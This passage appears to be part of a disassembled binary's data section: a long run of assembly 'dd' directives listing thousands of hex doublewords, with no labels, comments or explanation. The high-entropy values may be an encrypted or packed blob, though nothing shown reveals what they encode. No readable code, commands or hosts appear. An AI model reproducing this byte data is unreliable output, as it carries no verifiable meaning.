		dd 5E18B309h, 8ADE864Fh, 0F2BE0EFDh, 550EA109h,	4C14F799h
		dd 264A584h, 0A0573763h, 0B0900190h, 0D1BD9DBAh, 9A6311Ah
		dd 15222F79h, 1F8A1B1Bh, 5E91F712h, 0FAA44F8h, 0E6F28B55h
		dd 0DD416FDh, 8DE8EDE9h, 9FC411Dh, 3DE25B3Eh, 0AF6E5Ah
		dd 2272F442h, 4B78A99Fh, 0FCE2F093h, 5D253CB6h,	0B02F0435h
		dd 7B66C6h, 9B1A6583h, 0B941DC90h, 45D0359h, 23A19501h
		dd 9B9229BCh, 8DA580FEh
		dd 10A8750Bh, 12821620h, 0FCB2FCFBh, 4E9EBF02h,	0AB570829h
		dd 97B7D790h, 23F6A880h, 64820F8Dh, 0BCF91B01h,	6EE8F41Eh
		dd 0D9980520h, 800B15FFh, 589A55F9h, 52456FD6h,	0C10D64AFh
		dd 24C99D6Ch, 38975B34h, 426BF3C3h, 25F9E3FCh, 0A1C5DB78h
		dd 0DBEA8934h, 3488C2A6h, 0A5E782FEh, 1765750Dh, 68B52Fh
		dd 0ABFC9EE9h, 0E8483084h, 328D12A6h, 0BC4ADBE7h, 63B9D26Eh
		dd 0BB0FE9E8h, 0C4E06C55h, 9BE0C728h, 0E83DBC1Ah, 42A8895h
		dd 695925h, 0C9B6A744h,	25003485h, 0BF3B9A5Ch, 977C60BDh
		dd 2545EA14h, 0FD9887FEh, 0E2611278h, 96DA8ECFh, 22E8A1B9h
		dd 0EC076C1Fh, 43048892h, 600B19E5h, 56704BD3h,	0A6BD4C5Ch
		dd 31BB5903h, 0B88C4EB3h, 936E5BD3h, 0D215A805h, 0B785FAB4h
		dd 5C1ECE0Bh, 3564AD97h, 7D87E500h, 2C7A55Fh, 0A1620B2Fh
		dd 2F51048Ah, 3C87401Eh, 54303375h, 1241D346h, 0E4E717ACh
		dd 758A22D0h, 0FA25CB90h, 0F518353Ch, 5B190858h, 975F6EF4h
		dd 1491E035h, 0AB70D189h, 0D88BFB9Fh, 0FA098C22h, 9F0A6B6h
		dd 52005C74h, 4F481877h, 0F5440037h, 2A17197Ch,	0A713485Fh
		dd 5E81407Ah, 8F28B727h, 5E91C382h, 0FD6F22FDh,	0AA680003h
		dd 554A8A94h, 974502C7h, 6EAA6AC4h, 76290909h, 8BAC51ECh
		dd 40F6BD03h, 64796DA5h, 0E9FA6014h, 0DE015FCBh, 322580A2h
		dd 1CA415E2h, 277C867Eh, 8DA01779h, 0F42FF12Eh,	57161D42h
		dd 159116B7h, 5E9DAC86h, 0A21FA927h, 55208D47h,	8412F965h
		dd 3325D9F6h, 0D7A6F773h, 0ADE3D912h, 919B893Fh, 0BD100D1Bh
		dd 80090E51h, 0D85C31DBh, 21846D6h, 6E6C5B85h, 25885C74h
		dd 90DC4276h, 0D5A5004Ah, 529C8447h, 0C29F5C67h, 64C6D747h
		dd 2244CEBDh, 6B0F0AE9h, 0E7E77466h, 8B536AADh,	0FC265A23h
		dd 3CD24BDCh, 0B1695757h, 80C72896h, 8C9F1F3Fh,	0AEC20021h
		dd 2AD2FB09h, 0FE16E5CCh, 43B94EABh, 0B188089h,	0D41F185h
		dd 0E19D8DD8h, 54B16800h, 90E8C425h, 63C531h, 71D07543h
		dd 52EA32BDh, 61003570h, 0AF766A57h, 9D729E47h,	834E4907h
		dd 6212175Ah, 0CCB90799h, 268C15BCh, 1DFF531Bh,	905E60ADh
		dd 605726C1h, 0C0D40C31h, 185B6161h, 6B1AA19Dh,	6A4B608Bh
		dd 37B50960h, 70AFD361h, 830D3B8Eh, 9145B509h, 0BF8C382Bh
		dd 811C9C00h, 0F568E9DFh, 87CD957Fh, 0DEA226h, 0D2991FE9h
		dd 0B50118B0h, 0F1CCD155h, 5129A727h, 0DF8500E9h, 1CD89F0Bh
		dd 0B88E374Bh, 8D1031B8h, 9A562C91h, 0D0C3C14Eh, 0BD282ED9h
		dd 15BB8679h, 0CEC3F552h, 7E30612Dh, 33550B18h,	4370865Ch
		dd 7DFC8104h, 0F9BF84E3h, 0C87E9AEAh, 4A02C614h, 92A9FB4Ah
		dd 25DD8582h, 0D8BFB0F5h, 469A0469h, 0B86FF5C9h, 8060C183h
		dd 3231BED1h, 0E22A61F1h, 9D1F00AEh, 56116E93h,	0F0100068h
		dd 4BDBBD1h, 5B131220h,	12A28583h, 0CE32F51Eh, 0F240A645h
		dd 0C3BF6198h, 8DC2E61Eh, 63245E26h, 4D65509Dh,	4E79C241h
		dd 42A6AC9h, 80F8E610h,	0F4D5DDBBh, 6FB4A23Bh, 0AAD5E6CCh
		dd 909DFE4Bh, 0A0E2E63Eh, 25C5E3B9h, 9D4851Fh, 975E2B40h
		dd 18F80466h, 0CC338215h, 8F039CB8h, 7A0DC539h,	3C8BB09Eh
		dd 56A5004Ch, 147601A4h, 0FA4A17A9h, 0F6A558B8h, 0B7A2A77Ah
		dd 5C70E070h, 0C1554B74h, 2A07EA39h, 0CA2A4CB1h, 6A56A0BFh
		dd 7A76120Fh, 7FF5E1A9h, 8E00F17Bh, 3AFCFF4Ch, 0A9135BF0h
		dd 8EFDB2CCh, 160C39C4h, 0D05059F3h, 0A91A5ADDh, 2FE080E8h
		dd 0E8B1EBD0h, 4CCE005Bh, 0D6FC4BFh, 0BD3CAF8Ch, 0CEF53E10h
		dd 0D7806330h, 0FC099708h, 0AD70785Bh, 19E7617h, 3EF27B47h
		dd 2EF88A6Ch, 0B5E6F117h, 0EDDF97E0h, 60D2EEBh,	9DD9AB65h
		dd 612DF769h, 0E4005344h, 6396C5C8h, 165CCF0Ah,	0BDD6A7A4h
		dd 31F6D282h, 0A8B2BFA4h, 5026B892h, 0B597F826h, 801D9115h
		dd 0D91B47A2h, 0C77D063Fh, 4A1C15EAh, 0D1820F2Fh, 0D9758984h
		dd 0F38001B0h, 0A3562A5Eh, 12F7ABBh, 1E4990AEh,	4231818Eh
		dd 886B04D9h, 6B98F9BFh, 2A29BB80h, 79927B9Dh, 69181Dh
		dd 4BA61383h, 0C6E14BDh, 0E0BF3402h, 61582C4Ch,	0B66AD8FCh
		dd 0E59D128Dh, 0D4AC84C4h, 292042A2h, 0A0225995h, 2F69BB5Eh
		dd 2795075h, 0DD5480BCh, 353130A3h, 916802ADh, 96700A7Ah
		dd 17F137F5h, 0EE6B0ECh, 68645BB5h, 63BF400Ch, 334A5887h
		dd 608D1BF7h, 0D79B6A66h, 68FE3C0h, 0B604BD0Dh,	58CEAF47h
		dd 0BFC062B8h, 13D9980Ch, 0F8579CA2h, 0C8C65DB7h, 5F0473ECh
		dd 0FA7FB11Bh, 4A014DC3h, 0B217E7FDh, 69A2301Bh, 80946C39h
		dd 60A747FEh, 4CE580F8h, 0F6250529h, 0F4B755C2h, 3DA8F80h
		dd 1AB8D45h, 0C47B21B7h, 79950156h, 5E5F2DC7h, 8B04603Dh
		dd 5C008E13h, 19763CB5h, 9F415F39h, 316B8FDAh, 7F355537h
		dd 85E0B5A6h, 909C601Dh, 748BF0D4h, 4A379DDAh, 57D3FC01h
		dd 86BF79Ch, 858B06D1h,	6A2F247Dh, 0E065A6BFh, 2FD8AC74h
		dd 13F0BDA3h, 0BD083520h, 76F60F83h, 0FC89582Dh, 58D487Ch
		dd 0AD229FEAh, 17CBCA0h, 31A27483h, 2F21D59Dh, 811C9FFDh
		dd 0B62EC2C7h, 2D719079h, 0DC130100h, 1DE566FAh, 0C0E635B0h
		dd 8469CA5Fh, 0F8CBE7CEh, 30BC9806h, 342802ABh,	905BDE8Bh
		dd 0C57039D3h, 0AD8F5A0Fh, 0FE6A89BFh, 22D4CB46h, 96C32E14h
		dd 78CEF5E8h, 2164DF40h, 0C001EFEAh, 0CD7F3A15h, 0FE8F666h
		dd 4476BC8Dh, 0E6BAF5Fh, 41001C23h, 0D2DB6409h,	0CBF0134Ah
		dd 60A230E4h, 0F9B7E5A8h, 0BD66070h, 2AE11D9Dh,	0C78055E2h
		dd 23F7C129h, 56D1FF27h, 0F3271058h, 0F3098745h, 0B7897B96h
		dd 0E33A85A9h, 8E1331C1h, 0BC029AE4h, 0BB8227EDh, 929F3BFh
		dd 0DB19DD24h, 9AB6661h, 5C96E9FCh, 9FF470A7h, 0B2AF881h
		dd 16551CE2h, 633597F7h, 5D94BD09h, 0F7817F60h,	0AEC5F809h
		dd 0D2D60B03h, 3D419770h, 39CC8390h, 88BF500Fh,	0F705DB73h
		dd 6E005633h, 0A94B5258h, 0E007E5Ch, 709BBAF3h,	97870FC0h
		dd 81CB53AEh, 77B772E8h, 77403297h, 8FAFC310h, 1EC01200h
		dd 86EC89E7h, 0B81F0042h, 0C1F0A010h, 144A257Ch, 85295330h
		dd 5FC2A905h, 9362B23Ah, 51A825F9h, 0FCFB8301h,	66C48616h
		dd 0D661B23Ah, 86004B6Bh, 19D812B7h, 0EB12A5BBh, 0BA365F4h
		dd 5BFC5302h, 0B77DFF6Ah, 2B800919h, 51D5325Fh,	37F6009Dh
		dd 0EC3325B5h, 0AE0B7019h, 0E721FED6h, 0B51475F0h, 0C800FB3Dh
		dd 1A8B7ECh, 0C7125BDh,	201188C5h, 7658055Fh, 0C612AEC5h
		dd 0C83552ABh, 0CB00B985h, 4F84989Fh, 2453BF8h,	20D75935h
		dd 6C5C902Fh, 0A50C4BEh, 2965B509h, 755AA5FEh, 91908D4Ch
		dd 14E95B2Dh, 7C5C65B2h, 0B0095F49h, 50C10649h,	6D96B721h
		dd 7FE8B200h, 2A939ABh,	3CF70B31h, 0D15C87B8h, 0BC36BF82h
		dd 0BC8924F9h, 0C82B87E3h, 77827EFFh, 0FED18B69h, 8D809FFh
		dd 29F9EF02h, 0ADBCD955h, 0B72ECBF8h, 762FADFEh, 7BBD47C1h
		dd 6F074719h, 0A879FFE6h, 648BEFB5h, 0A1655A72h, 9CDC2A74h
		dd 898D1109h, 3D4D2208h, 7A19D29h, 290E6108h, 0AC9C80D2h
		dd 0A1322A20h, 0E7A33A01h, 6D25F34h, 62D0B33Eh,	0F0CCD7Ah
		dd 21A0E2F2h, 0E618819h, 0EBB047A8h, 0C2097383h, 73D0CADBh
		dd 1769089Eh, 0D4795649h, 540A260Fh, 0D76AC964h, 5F8371B7h
		dd 0B0BB75D4h, 257BC22h, 72ECDF81h, 27D41E9h, 5C2EF4CEh
		dd 81F5649Eh, 1CDD04h, 9C07DCB9h, 97189BCh, 0F91C8171h
		dd 4A1AC8BDh, 0F165EA7h
		dd 14923786h, 2D148C61h, 946B630Fh, 1BD769Eh, 96C40AFCh
		dd 0B3120359h, 6331D66Dh, 0F53A97D4h, 61212F6Bh, 0D1F0BF95h
		dd 148100B0h, 0B1CC1692h, 5F001D4Ah, 5BA7CA85h,	0A20D8A0Fh
		dd 63535469h, 0A4B9B0B9h, 0ACE12A58h, 0B0BBF72Fh, 5EFE1295h
		dd 29D808BAh, 0DE7CD220h, 59C17395h, 274181Ah, 665657BDh
		dd 29D82309h, 4327EEBh,	5C602012h, 130E4A87h, 24AA7B5Fh
		dd 99BFA3C3h, 0EE522B15h, 1FCC7AEBh, 8D8308C7h,	0A0AC97F4h
		dd 902BD02Ch, 0B8314A28h, 6A2EEDE0h, 0C0650F8Dh, 0C9EAD2EBh
		dd 7D6F3E4Ah, 0E5523A02h, 585D61E4h, 45EA90A6h,	0D70D2005h
		dd 0E5510925h, 50711165h, 27F91127h, 0F5C44BA2h, 66BFDDAAh
		dd 6E65B09Fh, 0A6180953h, 93D95172h, 82A72000h,	65871Dh
		dd 0DCAAFD16h, 5F9AC863h, 0B0ABF800h, 0F9075EDBh, 70989F5Bh
		dd 680064C8h, 0B20230FEh, 0CA3677h, 339D7F8Ah, 0C11113C4h
		dd 0FDE1FF26h, 790D7509h, 5370C44Eh, 0D25C34AAh, 67F52C90h
		dd 0E7721787h, 7612B0A4h, 46600467h, 0AB5107D7h, 572B1CC2h
		dd 4F4379Ch, 47CCCFBDh,	0FAB0E0E8h, 3973DB80h, 8398EFF2h
		dd 19BF90BFh, 9F110029h, 42D3994Eh, 60B5ABAAh, 8114FDCAh
		dd 7F022E5Fh, 5E611A37h, 0DE92245Eh, 54C4184Bh,	38E305E6h
		dd 690E54D8h, 4D13A007h, 85227D01h, 2CB1572Dh, 99BDF62Fh
		dd 4B2B1F87h, 6995560Bh, 474025FEh, 3C7A5F0Ch, 30BB8BC8h
		dd 7E9E25Bh, 0E6D1555Eh, 76B79AB0h, 53154E32h, 2F5949BFh
		dd 0D84B9679h, 0F7204A25h, 4F293B2Bh, 5E50BA92h, 48404060h
		dd 7700B9BEh, 0EAA558E7h, 0F5E098Bh, 86C438E5h,	0EA0A6E04h
		dd 6AD83791h, 16746F7Eh, 0F3BC9BC6h, 4A5F8AA2h,	0B646F5DAh
		dd 0AE57522Ch, 0D41D582Dh, 0DEC03219h, 42CBE61Ah, 85DFF23Bh
		dd 60B47B31h, 7A88CDAAh, 7239B6A1h, 3306D0B8h, 7478B4A9h
		dd 0C51A959Ah, 0B340A27Eh, 0E43609h, 0A2F3F6F8h, 7FE2ECA5h
		dd 0F84FE525h, 5FDA25D4h, 0E594B2E6h, 4B6B5627h, 0C4B3170h
		dd 6A4A69CBh, 63D90400h, 5FBC6177h, 4A53E6D2h, 5584F4F9h
		dd 8C8BAB09h, 136B6A5Fh, 0EBA2B778h, 297B835Ah,	0F4E1D2E9h
		dd 12BF5FA8h, 3B978D8h,	82A1EA9Bh, 0C1A93B47h, 3D692036h
		dd 9F891444h, 198475B7h, 31EEE8EBh, 6ED88AE9h, 1AC8B5DAh
		dd 0A5AE26C0h, 0BD941460h, 0A55AEB37h, 3E107844h, 75E92C29h
		dd 42A654AFh, 50240E8Dh, 0C4FE6A84h, 50A5B99Fh,	60FCF87Ch
		dd 66D98A07h, 0D62933B8h, 857B2D85h, 27757F0h, 0D05368C5h
		dd 0B5E06CA8h, 819D01C1h, 0B7D3AC2Ah, 9F858DECh, 4CC043EFh
		dd 57D9B0Dh, 3CDCA8Bh, 0F271FEA6h, 4040469h, 157DF0h, 79A5BF50h
		dd 2D624D39h, 80F7DB5Ah, 97738FF6h, 95B79225h, 28283CF3h
		dd 0A5DD194Bh, 0F7E2823Ah, 616727DCh, 705FDB19h, 0B01F00Ah
		dd 0A192C12Eh, 8A708E9Ah, 3F7D12F7h, 0C499F26Fh, 0A5AB8960h
		dd 0DFC738C2h, 9EAA8875h, 0A8085D55h, 0CD922E75h, 42453F73h
		dd 0C882DA58h, 0E75525D9h, 10957415h, 1F9B257Dh, 0C0C19DD5h
		dd 3994BC32h, 0F409104Ch, 9260B08h, 0DDA499BBh,	0E03FE4h
		dd 1D5C36B1h, 1984B2F1h, 8BDC8F1Ah, 5BC62746h, 0D905E019h
		dd 0BA949707h, 0CF047327h, 1A2E4074h, 6A04CA96h, 87ECB80Bh
		dd 0A60F69F2h, 0C3A072ACh, 393AD7E3h, 1DD1FA02h, 45A3B3D4h
		dd 42E8909h, 2D9B3D75h,	0A0013D0h, 25EF8066h, 70A23CBBh
		dd 5F1895B7h, 0FA9F9D2Bh, 0D88B4B23h, 0BB1266F5h, 6FBC1BE7h
		dd 0E9AE02AAh, 200BE8D2h, 73D3B8F8h, 62651B01h,	860E5B6Fh
		dd 0F0CFCB40h, 9B5F539Ah, 5C22E00h, 3A4880Eh, 0DE3D2F00h
		dd 7A5DAC87h, 4CEEB54Eh, 473D6D95h, 0AEE4F06Dh,	0BB05507Bh
		dd 1B6AEDE1h, 0AC8417ABh, 20AAD370h, 4A7FC191h,	0FD977B00h
		dd 439874E1h, 1B5B9D5Bh, 551BC18Bh, 0B5B77696h,	42630FFCh
		dd 357FB220h, 0F2B8600Bh, 50207D20h, 800ED88Bh,	8E5E0F61h
		dd 5E52014Bh, 0B85E38E6h, 8C0FA193h, 0A1303245h, 0B4410Bh
		dd 0E1D366D0h, 2EE53CF2h, 0CFE33B10h, 4AFE1927h, 0D66956A7h
		dd 7E041746h, 0BC95C45Dh, 33F94AB7h, 59174DECh,	0A0A8927Fh
		dd 28358DD3h, 0F87680FCh, 2D50FE88h, 0BC7EC011h, 0CAB28701h
		dd 0EDEC2A6Eh, 0B0E69D6Dh, 83CD4A00h, 7C333597h, 0C6E6013Fh
		dd 0C82F28BCh, 0ACA0E426h, 53B28997h, 0E5797005h, 8389912h
		dd 0F45BACF1h, 0C22136C7h, 0F660E5AFh, 59B5050Dh, 0D9D369C3h
		dd 0FA41F351h, 0DC2B151Dh, 5F2753A1h, 78847B6Ah, 7702FC6Ah
		dd 999509D0h, 5BE5552Bh, 5EE06A89h, 1746D67Dh, 1CDB3E00h
		dd 0E5B531E8h, 0C949204Fh, 0CDEF2BD9h, 7A82C057h, 7B134F1Dh
		dd 5A46653Ah, 9D661CCDh, 45B7995Ah, 8BBC50D9h, 86F7DA4Ah
		dd 536A5Eh, 351DF811h, 25485BA1h, 0B9E5FE73h, 0B4763711h
		dd 962DB8FEh, 0A3C13A90h, 1C827402h, 59505B01h,	0F18B0F02h
		dd 7184CA01h, 0EDC02A09h, 413DA432h, 0C4C37C64h, 0AEF8585Ah
		dd 0F098BB09h, 0B802A27Bh, 0F51CF444h, 8D1017CCh, 4A5079Dh
		dd 491D95F5h, 0A6BC79DFh, 507702ECh, 0BCD71A94h, 0D41896DDh
		dd 0C58B860Eh, 0DC657FB7h, 0AE2C17A5h, 0EE9C3B76h, 7506A214h
		dd 2BC61EE9h, 3F26827Ah, 0EE9E06CEh, 0BD126E64h, 2AAF2699h
		dd 0BC530087h, 0EBCA7127h, 0B36012C3h, 0C131FC6Eh, 7BE95B61h
		dd 4092B16Ah, 15BD038Ch, 0C1D71960h, 13CCE381h,	0AE792F53h
		dd 200E7962h, 3C4A769Fh, 2B111D09h, 2F4F5275h, 501029D2h
		dd 3D0092C5h, 0E0FB8783h, 91865Dh, 90ED8568h, 5F4CDA7Eh
		dd 43237FEBh, 59D1D8C9h, 0BCA84AEBh, 0BF205B89h, 243E94CBh
		dd 2531151Eh, 0E175A1C2h, 9B7B907Bh, 6C3D81BDh,	0CDC3308h
		dd 0EA844911h, 508C781Ah, 230038D1h, 0B9E30D24h, 78A00E2h
		dd 1BD6D5EAh, 1F0FAABEh, 6A370850h, 0BD608FF1h,	1CCFCAh
		dd 0B8B18A9Ch, 1591DD22h, 4F45125h, 0A6D45BD0h,	5B034BBh
		dd 0EAB172B5h, 83E96294h, 0AA86854Bh, 8A00056Eh, 0CFD9CB33h
		dd 0BC285B35h, 792EF66Fh, 4E41F514h, 0BF3090F8h, 50B70F2Fh
		dd 0FB16DE8Ah, 0EA09FA7Ah, 4D57ECBCh, 16A5E017h, 96027F3Dh
		dd 0F1E93F65h, 0F43E953h, 0E9A305h, 0E684C168h,	9F4E8Dh
		dd 9B7CAFE5h, 0DAC0EE22h, 8BFC7E12h, 23B96BAFh,	0D7EE0119h
		dd 2A30E71Fh, 0B125B708h, 7A19A90Ch, 16F237E6h,	5412336Ch
		dd 0F3099DE6h, 0FFED2261h, 0E223CDD1h, 93986061h, 6B03355Fh
		dd 7AE6AB16h, 753AB0B9h, 197E0141h, 5004EDB1h, 3F943161h
		dd 0DD83A5F2h, 0A42C4E14h, 0E702496Ah, 5E4F4A3Bh, 7BD551F8h
		dd 0ECC57F9Eh, 8F06B852h, 0A9874046h, 90D82E70h, 4A6AE699h
		dd 8047DB02h, 4BE88E07h, 9D2B132Fh, 1DD95281h, 9F00623Ch
		dd 5BAB71B6h, 2FF311Ah,	1B547F0Bh, 446A3C14h, 803AEFD1h
		dd 0C55E6934h, 40C1BACh, 9BE4E7D3h, 0D9D2AECAh,	0B74B6AF8h
		dd 0A3F78004h, 0FCC0BB12h, 0BB8EF4Ah, 0AE5CF52Fh, 226F5D69h
		dd 0CEBFF640h, 0FC0809B3h, 0D35E25E9h, 82B17C70h, 2389F771h
		dd 42A8FE9Dh, 0CDF5FE8Bh, 0E0FB6887h, 0CF807B69h, 71906C27h
		dd 2D3D0170h, 0CD854B6Eh, 0C5D5DEB3h, 5B510BE8h, 0EC25DE74h
		dd 12E92270h, 10AE6B0Eh, 0FCC56086h, 0A21538h, 68B674A7h
		dd 0FF735770h, 91E47B95h, 5DA3000Dh, 0F9F49F97h, 14DB02B6h
		dd 3EA10E7Ch, 84F8597Dh, 1304559Dh, 0A5E19802h,	0FFEB61CBh
		dd 0E9C2875Bh, 0E750567Dh, 0D2F0E41h, 2067151Ch, 354B0BD2h
		dd 2CF2FBD9h
		dd 17408138h, 0D11C4B0h, 70E6052Bh, 7F776E80h, 0B94B5EC4h
		dd 19F11037h, 0C1125958h, 0C86BBC09h, 0F7C2A5DAh, 7100F1D1h
		dd 0BAB8D9FAh, 0BC670FF2h, 0E503117Bh, 22E29D03h, 0F5BC5B04h
		dd 9F320393h, 4098BC1h,	0D708919Dh, 8EBF5990h, 7DD3B812h
		dd 27795ABDh, 98602BDEh, 0F80CB1BCh, 0D0D18B45h, 6015408Dh
		dd 0C4B52926h, 0F6DC49h, 5EE656C3h, 7C51E961h, 6113613Eh
		dd 0B8F2DD4h, 5EA5E780h, 25D86A83h, 1229D9C9h, 10E3DE57h
		dd 0E95F0B07h, 0B7AF4653h, 25F58810h, 0EFC57300h, 0ABEFB35h
		dd 3C4300DCh, 0BFD85844h, 90066470h, 0FF8D8B6Fh, 7AACC103h
		dd 2A3EFEA5h, 0CC98B6F2h, 437EDBC7h, 0FE1AA550h, 0D80A9h
		dd 0A8089589h, 4BB2EF18h, 0C1E1D939h, 0C8BF0030h, 112025F2h
		dd 0C9257BFAh, 0B414F518h, 0D48A94h, 847119BEh,	0B98E8C96h
		dd 0D60F8925h, 2100F463h, 0B069FEB3h, 97C25789h, 59DED68Bh
		dd 7CFC46Bh, 6316F3AAh,	0C589C08Ah, 0C4046ADDh,	43726728h
		dd 5B8D8CBBh, 5552E295h, 9381BEBDh, 8D0FBE7Bh, 0BD2444h
		dd 0F293E64Bh, 7BFA5EE7h, 4C2008A2h, 92ECA72h, 15BC6912h
		dd 1790A5Fh, 78DFFB2Dh,	0A616AC3Ah, 0C6F04D1Eh,	71ECB504h
		dd 6E07029Dh, 7EC5D563h, 2BB1050h, 0E6B5CE22h, 0DFF1AD5Ch
		dd 2D0BC4A6h, 0E9785E1Dh, 498445Fh, 0EC7464BFh,	0ADA7BC38h
		dd 9FF1C20h, 197D9D33h,	45479CD7h, 5EE4369h, 1D4F12CCh
		dd 13B82EDBh, 8DC0139Eh, 7FD023CBh, 7ECD834Bh, 0B9D1E850h
		dd 9BE15EFFh, 0CDB1802Eh, 313A9F8h, 0C7D3ECA4h,	189B8010h
		dd 0E5FBF825h, 4910953h, 0ED3D7Dh, 0DB67E79Ch, 2F786977h
		dd 696A9497h, 0B7FD607Ch, 5CF83D5h, 8D885289h, 0F290DD8Ah
		dd 0E70E2925h, 0D210106Ah, 7EA05FA6h, 854A0F8Dh, 0BF562E40h
		dd 2775E638h, 3E105B73h, 81094A2Dh, 5D48E5EEh, 34245A02h
		dd 4EC42Bh, 69DDEA9Fh, 96D52A95h, 7BE5B300h, 0E4DE88D8h
		dd 8FEC25E0h, 815F04C0h, 1E34D304h, 65BC1338h, 2846E5Fh
		dd 0EB7851D1h, 11DB40D9h, 6099971Eh, 0AC21481h,	577A6A19h
		dd 1A91AF35h, 0EB65EA93h, 22A33609h, 5E9D4D65h,	5E53253Dh
		dd 123EF0D9h, 5CAEEDC1h, 281658B3h, 314FFB35h, 0D9BABF85h
		dd 0D606A5B4h, 0C72F6FEh, 314C52E8h, 96162040h,	45FC2DC5h
		dd 0DDA725DEh, 89169650h, 3DAB7D8Dh, 0EB203E26h, 9BAB31h
		dd 8DB13963h, 0C23803DFh, 5E021F73h, 91EEB546h,	0BCAFF80h
		dd 19607CF4h, 0B5B86Ah,	0B926EFA0h, 0DF20E74Fh,	0E81AFC25h
		dd 0EDADB3AFh, 0AF35047Eh, 408E893Fh, 9D0B5849h, 0A0ACAD4Eh
		dd 9609BAA5h, 0EA1B7419h, 8A792530h, 0B6C61040h, 0AF9400DAh
		dd 68F275F5h, 0CF0057ECh, 0ED14D63h, 49E9DC9Ch,	11564D91h
		dd 3AC9B1F1h, 0FE92D0B8h, 25DB30D8h, 0CCC114B1h, 0B2732F21h
		dd 95D27333h, 292DF8EEh, 97D6DAB5h, 9B569F0Bh, 0E81300F6h
		dd 0FDF7C896h, 2909DF81h, 7B015195h, 4BB0A0BCh,	894782EDh
		dd 92FB3755h, 9EC6037h,	159E958Dh, 82F3800Bh, 0ED044695h
		dd 170E048h, 0C29A5995h, 3AAD02B7h, 1299F034h, 0AF41BD0Bh
		dd 9F56A028h, 6878E850h, 0F88FAC3Ah, 3481DA30h,	0FD90AF4Fh
		dd 6EB8EF7Dh, 6510E313h, 0D7BAA201h, 0F22A5D44h, 483DA8A1h
		dd 0A1028DBDh, 50024D97h, 6B99EDDDh, 7D04C4CCh,	5CBF144Ch
		dd 8993650Ah, 36025760h, 7E091D71h, 22550837h, 0BF636112h
		dd 6E9BC5F8h, 6A7087C9h, 94CBE300h, 5EA8DCBBh, 0B55BBD6Eh
		dd 3A261AD9h, 7AD3F101h, 0E61FCCE4h, 0BDC17A7Eh, 0CE2B25E5h
		dd 0DB362D2Bh, 9E6CD87Ch, 0EB45890Ah, 790AD854h, 2990AFF7h
		dd 97C9A85Eh, 0B84A81B3h, 6B96EE8Fh, 0E3E50199h, 991E9A51h
		dd 33A4886Ah, 0D73A3D00h, 237C170Bh, 0F4BB0493h, 8075C710h
		dd 0D9FAC69Dh, 16EE4148h, 0F4BC051Dh, 8D29F1E3h, 0E366E4F8h
		dd 8050041Dh, 0AA5B32CFh, 15558E71h, 0BFAD9C6Bh, 6D836109h
		dd 0A0D4717Fh, 1A9520E1h, 9F78D09Dh, 5AC5F46Dh,	0AAA3C5BAh
		dd 0BE99A7DCh, 0FA542DCCh, 7C339DD6h, 21C14F88h, 632EDD00h
		dd 0BD312622h, 0BC014E9Dh, 0DC6BB54Ch, 12BE1D16h, 4BA8B7F0h
		dd 0C51F9A6Ah, 0EB4B00CDh, 0BB2ED4E2h, 8B3A960Eh, 87883652h
		dd 89210035h, 0B71E1056h, 5C95151Ah, 84B3007Dh,	5F8A16F8h
		dd 91CA3597h, 0BDB7801Dh, 79E3B8A8h, 0D30215FAh, 0E76431Dh
		dd 325599F8h, 183D1920h, 0CC01C160h, 0B2BA78CAh, 3C39C05Fh
		dd 4B596BD2h, 56C102FAh, 10F5DB6Ch, 278BEBh, 0ED0B85D6h
		dd 72A449C6h, 0AA1EE0E2h, 497B589h, 0EDC2A1A4h,	4A05E770h
		dd 9384BD1Ah, 0F802AC6Bh, 0D759D89h, 0ED5ACF5Ch, 94E4238h
		dd 2B97C1D5h, 617BBF00h, 0C66CE325h, 169A90D5h,	0E66A99B5h
		dd 0F7A5F03Bh, 3941E8D0h, 0B6498DBCh, 0CA28BB8Ch, 48315B5Eh
		dd 372E5056h, 9629FE25h, 0FAE831DFh, 0B7522707h, 0F231E5F3h
		dd 8900535h, 0EAF7BDF7h, 0BF585A0Eh, 756F1E0h, 0B7B79661h
		dd 0D81C00DAh, 3BFC8E73h, 23074902h, 5CF98BECh,	8937C048h
		dd 1A973DC7h, 1D0682C1h, 5CBC5733h, 70087B9Fh, 8A4B8BBDh
		dd 0DAD13BE1h, 0FD3BB875h, 0E62AB95Bh, 3019B2D8h, 0E89DB968h
		dd 258A57D6h, 0CEC65FFAh, 0A7DB8102h, 315519C7h, 998F3BE8h
		dd 0E9D81392h, 7B9D7BE4h, 0D6EDACABh, 94197B02h, 57A59D0Bh
		dd 4645C59Eh, 0BB880D9h, 0D62CBF02h, 0BAD7339Ah, 0D4EC5E0Dh
		dd 80C0204h, 1CBA3253h,	1E465B4h, 0B56EF097h, 2B2ED699h
		dd 6A4AABDBh, 0B7E40046h, 0C7C93890h, 0BBBF2F6h, 4376A022h
		dd 1609E5D0h, 5EADE928h, 85890BAFh, 0AC25137Fh,	66C25F9Bh
		dd 8EC13607h, 9657FAD9h, 0E32A8794h, 80ADC0C6h,	0F88BFBF1h
		dd 8D4A9076h, 0FA33BBE3h, 6AE3A1DEh, 2EF890C1h,	1801577Ah
		dd 0BD2BD65Fh, 209075C5h, 0B3B6C1D8h, 78387BADh, 660A785Ch
		dd 8AB01CBBh, 22C0B204h, 0D2D29BEBh, 3381DAA2h,	2F1AC99Dh
		dd 0D3A61065h, 8D508AA0h, 0B9AA0804h, 77FCD43Bh, 68701380h
		dd 2A04AB7Ah, 0AA73342Bh, 7716C81h, 0BF505F00h,	9125E676h
		dd 5EA18B41h, 0D401DC2Fh, 0AE97D6F9h, 5DD61584h, 7A77B342h
		dd 0BA294C6Eh, 27C90429h, 83058910h, 0FA68F00h,	2944BB72h
		dd 35703C56h, 980BB9DEh, 971D69B8h, 3A89D539h, 60093BEDh
		dd 5ED1BBB0h, 52867C00h, 5C7659h, 0FE446A5Dh, 0D83F8EF4h
		dd 46FABC02h, 0F8D1FF61h, 0CE2BE150h, 248A2183h, 0E80C9342h
		dd 0F781A03Ch, 17A99857h, 0C851904Bh, 0E0003473h, 0F70CFF1Ch
		dd 2E9B83B1h, 0BD6AA5Bh, 8E465368h, 0BAC5EBF3h,	0BC851115h
		dd 9340281Fh, 14B52289h, 0E9C0C3A1h, 1CA27ABDh,	0A0D0CA4Eh
		dd 17100D2Bh, 0AEA6E96Fh, 9745003Dh, 0BFC401DBh, 0AEE7C0C6h
		dd 309444Ah, 552B01BDh,	1AC5E06Dh, 24B3498h, 0CB27A6F7h
		dd 0EB60FB7Dh, 90811921h, 8AE9A46Bh, 30FEF94Fh,	68F7CDCCh
		dd 911ABB00h, 48B0A214h, 0A55B4F8Eh, 0BF3682B8h, 0A361DEC8h
